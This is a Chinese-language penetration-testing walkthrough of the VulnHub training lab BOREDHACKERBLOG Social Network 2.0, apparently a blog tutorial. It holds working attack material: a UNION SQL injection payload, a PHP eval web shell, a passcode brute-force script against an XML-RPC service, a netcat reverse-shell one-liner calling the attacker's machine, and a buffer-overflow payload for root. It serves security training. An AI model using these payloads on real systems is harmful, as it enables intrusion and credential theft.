VnlnHub BOREDHACKERBLOG SOCIAL NETWORK 2.0
字数 1640 2025-08-12 11:34:27
BOREDHACKERBLOG SOCIAL NETWORK 2.0 渗透测试教学文档
靶场概述
BOREDHACKERBLOG SOCIAL NETWORK 2.0 是一个基于VulnHub的渗透测试靶场,模拟了一个存在多个漏洞的社交网络系统。本教学文档将详细记录从靶场搭建到最终获取root权限的完整渗透测试过程。
靶场搭建
-
下载靶场:
- 下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/
- 文件格式:.ova虚拟机压缩文件
-
导入虚拟机:
- 使用VMware导入.ova文件
- 网络模式设置为NAT模式(与Kali攻击机保持一致)
-
网络配置:
- 靶机可能无法自动获取IP,需手动配置
- 参考解决方案:https://www.freebuf.com/articles/network/343723.html
信息收集
- 网络扫描:
nmap -sT -p 0-65535 -A 192.168.52.134- 开放端口:
- 22/tcp: SSH服务
- 80/tcp: HTTP服务(Apache 2.4.29)
- 8000/tcp: HTTP服务(Python BaseHTTPServer 0.3)
- 开放端口:
Web应用渗透
初始访问
-
网站功能分析:
- 登录/注册页面
- 评论功能
- 文件上传功能
-
SQL注入测试:
- 登录框测试:无SQL注入漏洞
- 评论搜索功能:存在SQL注入漏洞
-
SQL注入利用:
' UNION SELECT 1,database(),user(),version(),5,6,7,8,9,10,11-- -- 获取信息:
- 数据库名:socialnetwork
- 用户名:admin@localhost
- 版本:5.7.24
- 获取信息:
-
数据库内容提取:
- 表名:friendship, posts, user_phone, users
- users表字段:user_id, user_firstname, user_lastname, user_nickname, user_password, user_email, user_gender, user_birthdate, user_status, user_about, user_hometown
- 用户凭证:
- admin@localhost.com:21232f297a57a5a743894a0e4a801fc3 (MD5: admin)
- testuser@localhost.com:5d9c68c6c50ed3d02a2fcf54f63993b6 (MD5: testuser)
文件上传漏洞
- 上传Web Shell:
- 创建PHP一句话木马:
<?php @eval($_POST['cmd']); ?> - 通过蚁剑连接成功获取Web Shell
- 创建PHP一句话木马:
权限提升
初始提权尝试
-
系统信息收集:
- 发现/home/socnet用户目录
- 发现monitor.py文件(运行在8000端口)
-
XML-RPC服务分析:
- monitor.py创建了一个XML-RPC服务
- 包含secure_cmd函数可执行任意命令(需验证passcode)
-
Passcode暴力破解:
import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy: for i in range(1000,9999): a=str(proxy.secure_cmd('id',i)) if(a.find('Wrong passcode')==-1): print('passcode is',i)- 获取passcode:5150
-
获取socnet用户Shell:
import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy: cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.128 5555 >/tmp/f' print(str(proxy.secure_cmd(cmd,5150)))
最终提权
-
发现SUID程序:
- /opt/scripts/add_record(具有SUID位)
-
程序分析:
- 功能:向SOCIAL NETWORK 2.0添加雇员信息
- 创建employee_records.txt文件
-
缓冲区溢出漏洞:
- comments字段存在缓冲区溢出漏洞
- 使用gdb调试确定偏移量:
gdb -q ./add_record pattern create 100 pattern offset AHAA - 确定偏移量:62字节
-
后门函数利用:
- 发现backdoor函数(0x08048676)
- 构造payload:
python -c "import struct; print('qq\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload - 执行payload获取root权限
总结
本靶场展示了完整的渗透测试流程,包括:
- 信息收集与漏洞识别
- Web应用渗透(SQL注入、文件上传)
- 服务分析与利用(XML-RPC)
- 二进制漏洞利用(缓冲区溢出)
- 权限提升技术
关键学习点:
- 多层次的漏洞利用链构建
- 服务端脚本分析与利用
- 二进制漏洞的识别与利用
- 权限提升的多种方法尝试